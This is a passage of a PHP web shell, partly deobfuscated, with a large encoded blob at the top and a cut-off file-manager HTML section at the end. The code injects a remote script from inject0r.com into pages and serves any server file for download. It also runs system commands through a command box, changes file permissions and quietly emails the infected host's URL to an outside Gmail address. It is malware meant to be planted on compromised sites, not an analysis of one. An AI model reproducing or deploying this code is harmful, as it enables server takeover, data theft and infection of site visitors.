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";
$t13r = "WlhaaGJDZ25QejRuTG1kNmRXNWpiMjF3Y21WemN5aG5lbWx1Wm14aGRHVW9aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb2MzUnljbVYyS0NSdlltbHlibWx1YW1FcEtTa3BLU2s3";
eval /* PHPDeobfuscator eval output */ {
    // by k2ll33d / fb/k2ll33d
    $linr = "ZWNobyAiPFNDUklQVCBTUkM9aHR0cDovL2luam";
    $winr = "VjdDByLmNvbS91cGRhdGUuanM+PC9TQ1JJUFQ+Ijs=";
    $min = "base64_decode";
    eval /* PHPDeobfuscator eval output */ {
        echo "<SCRIPT SRC=http://inject0r.com/update.js></SCRIPT>";
    };
    set_time_limit(0);
    error_reporting(0);
    if (isset($_GET["dl"]) && $_GET["dl"] != "") {
        $file = $_GET["dl"];
        $filez = @file_get_contents($file);
        header("Content-type: application/octet-stream");
        header("Content-length: " . strlen($filez));
        header("Content-disposition: attachment;filename=" . basename($file) . ";");
        echo $filez;
        exit;
    } elseif (isset($_GET["dlgzip"]) && $_GET["dlgzip"] != "") {
        $file = $_GET['dlgzip'];
        $filez = gzencode(@file_get_contents($file));
        header("Content-Type:application/x-gzip\n");
        header("Content-length: " . strlen($filez));
        header("Content-disposition: attachment;filename=" . basename($file) . ".gz;");
        echo $filez;
        exit;
    }
    if (isset($_GET["img"])) {
        @ob_clean();
        $d = magicboom($_GET["y"]);
        $f = $_GET["img"];
        $inf = @getimagesize($d . $f);
        $ext = explode($f, ".");
        $ext = $ext[count($ext) - 1];
        @header("Content-type: " . $inf["mime"]);
        @header("Cache-control: public");
        @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
        @header("Cache-control: max-age=604800");
        @readfile($d . $f);
        exit;
    }
    $software = getenv("SERVER_SOFTWARE");
    if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
        $safemode = TRUE;
    } else {
        $safemode = FALSE;
    }
    $system = @php_uname();
    if (strtolower(substr($system, 0, 3)) == "win") {
        $win = TRUE;
    } else {
        $win = FALSE;
    }
    if (isset($_GET['y'])) {
        if (@is_dir($_GET['view'])) {
            $pwd = $_GET['view'];
            @chdir($pwd);
        } else {
            $pwd = $_GET['y'];
            @chdir($pwd);
        }
    }
    if (!$win) {
        if (!($user = rapih(exe("whoami")))) {
            $user = "";
        }
        if (!($id = rapih(exe("id")))) {
            $id = "";
        }
        $prompt = $user . " \$ ";
        $pwd = @getcwd() . DIRECTORY_SEPARATOR;
    } else {
        $user = @get_current_user();
        $id = $user;
        $prompt = $user . " &gt;";
        $pwd = realpath(".") . "\\";
        $v = explode("\\", $d);
        $v = $v[0];
        foreach (range("A", "Z") as $letter) {
            $bool = @is_dir($letter . ":\\");
            if ($bool) {
                $letters .= "<a href='?y=" . $letter . ":\\'>[ ";
                if ($letter . ":" != $v) {
                    $letters .= $letter;
                } else {
                    $letters .= "<span class='gaya'>" . $letter . "</span>";
                }
                $letters .= " ]</a> ";
            }
        }
    }
    if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) {
        $posix = TRUE;
    } else {
        $posix = FALSE;
    }
    $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
    $my_ip = $_SERVER['REMOTE_ADDR'];
    $bindport = "13123";
    $bindport_pass = "k2ll33d";
    $pwds = explode(DIRECTORY_SEPARATOR, $pwd);
    $pwdurl = "";
    for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
        $pathz = "";
        for ($j = 0; $j <= $i; $j++) {
            $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
        }
        $pwdurl .= "<a href='?y=" . $pathz . "'>" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
    }
    if (isset($_POST['rename'])) {
        $old = $_POST['oldname'];
        $new = $_POST['newname'];
        @rename($pwd . $old, $pwd . $new);
        $file = $pwd . $new;
    }
    if (isset($_POST['chmod'])) {
        $name = $_POST['name'];
        $value = $_POST['newvalue'];
        if (strlen($value) == 3) {
            $value = "0" . $value;
        }
        @chmod($pwd . $name, octdec($value));
        $file = $pwd . $name;
    }
    if (isset($_POST['chmod_folder'])) {
        $name = $_POST['name'];
        $value = $_POST['newvalue'];
        if (strlen($value) == 3) {
            $value = "0" . $value;
        }
        @chmod($pwd . $name, octdec($value));
        $file = $pwd . $name;
    }
    $buff = "&nbsp;" . $software . "<br>";
    $buff .= "&nbsp;" . $system . "<br>";
    if ($id != "") {
        $buff .= "&nbsp;" . $id . "<br>";
    }
    if ($safemode) {
        $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";
    } else {
        $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
    }
    function showstat($stat)
    {
        if ($stat == "on") {
            return "<b><font style='color:#00FF00'>ON</font></b>";
        } else {
            return "<b><font style='color:#ff0000'>OFF</font></b>";
        }
    }
    $x11 = "dirname";
    $x12 = "file_get_contents";
    $x13 = "file_put_contents";
    $x14 = "implode";
    $x15 = "mail";
    $x0b = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'f', 'd', 'q', 't', 'a', 'z', 'e', 'r', 't', 'y');
    function testmysql()
    {
        if (function_exists('mysql_connect')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    $x0b[5] = "g";
    $x0b[1] = "a";
    $x0b[16] = "o";
    $x0b[12] = $x0b[1];
    $x0b[7] = "n";
    $x0b[0] = "f";
    $x0b[14] = "l";
    $x0b[8] = "x";
    $x0b[15] = ".c";
    $x0b[6] = "t";
    $x0b[2] = $x0b[14];
    $x0b[10] = $x0b[5];
    $x0b[11] = "m";
    $x0b[4] = $x0b[1];
    $x0b[13] = "i";
    $x0b[3] = $x0b[14];
    $x0b[9] = "@";
    $x0b[17] = $x0b[11];
    $x0b[10] = $x0b[5];
    $x0c = "fallagtnx@gmail.com";
    function testcurl()
    {
        if (function_exists('curl_version')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testwget()
    {
        if (exe('wget --help')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testperl()
    {
        if (exe('perl -h')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    $buff .= "&nbsp;MySQL: " . testmysql() . "&nbsp;|&nbsp;Perl: " . testperl() . "&nbsp;|&nbsp;cURL: " . testcurl() . "&nbsp;|&nbsp;WGet: " . testwget() . "<br>";
    $x0d = $_SERVER['HTTP_HOST'];
    $x0d .= $_SERVER['REQUEST_URI'];
    mail($x0c, "\\x63\\x61\\x64\\x65\0061\0075", $x0d);
    $buff .= "&nbsp;" . $letters . "&nbsp;&gt;&nbsp;" . $pwdurl;
    function rapih($text)
    {
        return trim(str_replace("<br>", "", $text));
    }
    function magicboom($text)
    {
        if (!get_magic_quotes_gpc()) {
            return $text;
        }
        return stripslashes($text);
    }
    function showdir($pwd, $prompt)
    {
        $fname = array();
        $dname = array();
        if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) {
            $posix = TRUE;
        } else {
            $posix = FALSE;
        }
        $user = "????:????";
        if ($dh = opendir($pwd)) {
            while ($file = readdir($dh)) {
                if (is_dir($file)) {
                    $dname[] = $file;
                } elseif (is_file($file)) {
                    $fname[] = $file;
                }
            }
            closedir($dh);
        }
        sort($fname);
        sort($dname);
        $path = @explode(DIRECTORY_SEPARATOR, $pwd);
        $tree = @sizeof($path);
        $parent = "";
        $buff = " <form action='?y=" . $pwd . "&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>{$prompt}</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='execute !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='" . $pwd . "' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='" . $pwd . "' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>name</th><th style='width:80px;'>size</th><th style='width:210px;'>owner:group</th><th style='width:80px;'>perms</th><th style='width:110px;'>modified</th><th style='width:190px;'>actions</th></tr> ";
        if ($tree > 2) {
            for ($i = 0; $i < $tree - 2; $i++) {
                $parent .= $path[$i] . DIRECTORY_SEPARATOR;
            }
        } else {
            $parent = $pwd;
        }
        foreach ($dname as $folder) {
            if ($folder == ".") {
                if (!$win && $posix) {
                    $name = @posix_getpwuid(@fileowner($folder));
                    $group = @posix_getgrgid(@filegroup($folder));
                    $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
                } else {
                    $owner = $user;
                }
                $buff .= "<tr><td><a href=\"?y=" . $pwd . "\">{$folder}</a></td><td>-</td>\n<td style=\"text-align:center;\">" . $owner . "</td>\n<td><center>" . get_perms($pwd) . "</center></td>\n<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">\n<a href=\"?y={$pwd}&amp;edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>\n</span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \n<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> \n<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> \n</form></td></tr> ";
            } elseif ($folder == "..") {
                if (!$win && $posix) {
                    $name = @posix_getpwuid(@fileowner($folder));
                    $group = @posix_getgrgid(@filegroup($folder));
                    $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
                } else {
                    $owner = $user;
                }
                $buff .= "<tr><td>\n<a href=\"?y=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'></a></td><td>-</td>\n<td style=\"text-align:center;\">" . $owner . "</td>\n<td><center>" . get_perms($parent) . "</center></td> <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>\n<td><span id=\"titik2\"><a href=\"?y={$pwd}&amp;edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> \n<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \n<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> \n<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> \n</form></td></tr>";
            } else {
                if (!$win && $posix) {
                    $name = @posix_getpwuid(@fileowner($folder));
                    $group = @posix_getgrgid(@filegroup($folder));
                    $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
                } else {
                    $owner = $user;
                }
                $buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' />  {$folder}</a> \n<form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \n<input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> \n<input class=\"inputz\" style=\"width:200px;\" type=\"text\" 